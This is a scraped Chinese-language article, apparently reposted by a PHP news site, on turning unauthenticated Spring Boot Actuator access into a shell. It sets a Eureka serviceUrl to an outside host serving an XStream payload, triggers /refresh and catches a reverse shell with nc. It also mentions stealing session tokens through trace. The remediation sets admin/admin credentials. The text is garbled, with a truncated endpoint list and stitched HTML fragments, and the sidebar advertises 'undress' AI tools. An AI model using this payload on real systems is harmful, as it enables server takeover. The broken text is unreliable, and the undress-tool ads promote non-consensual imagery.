Spring Boot Actuator從未授權(quán)存取getshell的範(fàn)例分析
May 23, 2023 am 08:56 AM前言
部門大佬在某src上挖到了這個漏洞,是一個比較老的洞了,我覺得有點(diǎn)意思,就動手在本地搭了個環(huán)境測試一下。
Actuator 是 springboot 提供的用來對應(yīng)用系統(tǒng)進(jìn)行自省和監(jiān)控的功能模組,借助於 Actuator 開發(fā)者可以很方便地對應(yīng)用系統(tǒng)某些監(jiān)控指標(biāo)進(jìn)行查看、統(tǒng)計等。在 Actuator 啟用的情況下,如果沒有做好相關(guān)權(quán)限控制,非法使用者可透過存取預(yù)設(shè)的執(zhí)行器端點(diǎn)(endpoints)來獲取應(yīng)用系統(tǒng)中的監(jiān)控信息,從而導(dǎo)致資訊外洩甚至伺服器被接管的事件發(fā)生。
Actuator是Spring Boot提供的功能模組,它可以用於自省和監(jiān)控應(yīng)用程式系統(tǒng)。 The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints mainly include:
'
#利用env加refresh進(jìn)行g(shù)etshell
#利用mappings,尋找未授權(quán)介面
利用trace,取得認(rèn)證資訊(Cookie、tooken、Session),利用認(rèn)證資訊存取介面。eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
然後再造訪/refresh,抓包將get請求更改為post請求,post資料隨意,
然後在我們nc的視窗可以看到成功反彈了一個shell回來。
漏洞修復(fù)
身為安全dog,不能只挖不修,在專案的pom.xml檔案下引入spring-boot -starter-security依賴
<dependency> <groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId> </dependency><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析"></p> <p>然後在application.properties中開啟security功能,設(shè)定存取帳號密碼,重新啟動應(yīng)用程式即可彈出。 </p> <pre class="brush:php;toolbar:false">management.security.enabled=true security.user.name=admin security.user.password=admin
停用接口,則可設(shè)定如下(如停用env介面):
endpoints.env.enabled = false
問題
老外說可以執(zhí)行sql語句發(fā)現(xiàn)執(zhí)行不了,可能方法沒用對,截了個他的圖,希望有執(zhí)行成功的大佬分享下。
在實(shí)際環(huán)境中,發(fā)現(xiàn)很多無refresh ,導(dǎo)致無法執(zhí)行指令目前還沒突破
以上是Spring Boot Actuator從未授權(quán)存取getshell的範(fàn)例分析的詳細(xì)內(nèi)容。更多資訊請關(guān)注PHP中文網(wǎng)其他相關(guān)文章!

熱AI工具

Undress AI Tool
免費(fèi)脫衣圖片

Undresser.AI Undress
人工智慧驅(qū)動的應(yīng)用程序,用於創(chuàng)建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費(fèi)的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費(fèi)的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強(qiáng)大的PHP整合開發(fā)環(huán)境

Dreamweaver CS6
視覺化網(wǎng)頁開發(fā)工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

隨著大數(shù)據(jù)時代的到來,越來越多的企業(yè)開始了解並認(rèn)識到大數(shù)據(jù)的價值,並將其運(yùn)用到商業(yè)中。而隨之而來的問題就是如何處理這些大流量的數(shù)據(jù)。在這種情況下,大數(shù)據(jù)處理應(yīng)用程式成為了每個企業(yè)必須考慮的事情。而對於開發(fā)人員而言,如何使用SpringBoot建立一個高效的大數(shù)據(jù)處理應(yīng)用程式也是一個非常重要的問題。 SpringBoot是一個非常流行的Java框架,它可以讓

隨著技術(shù)的不斷發(fā)展,我們現(xiàn)在可以使用不同的技術(shù)來建立桌面應(yīng)用程式。而SpringBoot和JavaFX則是現(xiàn)在較為流行的選擇之一。本文將重點(diǎn)放在如何使用這兩個框架來建立一個功能豐富的桌面應(yīng)用程式。一、介紹SpringBoot和JavaFXSpringBoot是基於Spring框架的快速開發(fā)框架。它可以幫助開發(fā)者快速建立Web應(yīng)用程序,同時提供一組開

我們在實(shí)際專案中,盡量規(guī)避分散式事務(wù)。但是,有些時候是真的需要做一些服務(wù)拆分從而會引出分散式事務(wù)問題。同時,分散式事務(wù)也是面試中市場被問到,可以拿著這個案例練練手,面試就可以說上個123了。

隨著比特幣等數(shù)位貨幣的興起,區(qū)塊鏈技術(shù)也逐漸成為熱門話題。而智能合約,則可視為區(qū)塊鏈技術(shù)的重要組成部分。 SpringBoot作為一種流行的Java後端開發(fā)框架,也能夠用來建立區(qū)塊鏈應(yīng)用和智慧合約。本文將介紹如何利用SpringBoot來建構(gòu)基於區(qū)塊鏈技術(shù)的應(yīng)用與智慧合約。一、SpringBoot與區(qū)塊鏈?zhǔn)紫?,我們需要了解一些與區(qū)塊鏈相關(guān)的基本概念。區(qū)塊鏈

在現(xiàn)代Web應(yīng)用程式開發(fā)中,WebSocket是實(shí)現(xiàn)即時通訊和即時資料傳輸?shù)某S眉夹g(shù)。 SpringBoot框架提供了整合WebSocket的支持,讓開發(fā)者可以非常方便地實(shí)現(xiàn)推播和通知功能。本文將介紹SpringBoot中如何使用WebSocket實(shí)現(xiàn)推播和通知功能,並示範(fàn)一個簡單的即時線上聊天室的實(shí)作。創(chuàng)建SpringBoot專案首先,我們需要創(chuàng)建一個

隨著現(xiàn)代企業(yè)越來越依賴各種不同的應(yīng)用程式和系統(tǒng),企業(yè)整合變得愈發(fā)重要。企業(yè)服務(wù)匯流排(ESB)就是一種整合架構(gòu)模式,透過將不同系統(tǒng)和應(yīng)用程式連接在一起,提供通用的資料交換和訊息路由服務(wù),從而實(shí)現(xiàn)企業(yè)級應(yīng)用程式整合。使用SpringBoot和ApacheServiceMix,我們可以輕鬆建立一個ESB系統(tǒng),這篇文章將介紹如何實(shí)作。 SpringBoot和A

SpringBoot是一款非常受歡迎的Java開發(fā)框架,不僅具有快速開發(fā)的優(yōu)勢,而且還內(nèi)建了許多實(shí)用的功能,其中,任務(wù)調(diào)度和定時任務(wù)就是其常用的功能之一。本文將探討SpringBoot的任務(wù)調(diào)度和定時任務(wù)實(shí)現(xiàn)方法。一、SpringBoot任務(wù)調(diào)度簡介SpringBoot任務(wù)調(diào)度(TaskScheduling)是指在特定的時間點(diǎn)或某個條件下,執(zhí)行一些特

隨著全球化的發(fā)展,越來越多的網(wǎng)站和應(yīng)用需要提供多語言支援和國際化功能。對於開發(fā)人員而言,實(shí)現(xiàn)這些功能並不是一件容易的事情,因為它需要考慮許多方面的問題,例如語言的翻譯、日期、時間和貨幣格式等等。但是,使用SpringBoot框架,我們可以輕鬆實(shí)現(xiàn)多語言支援和國際化應(yīng)用。首先,讓我們來了解一下SpringBoot提供的LocaleResolver介面。 Loc
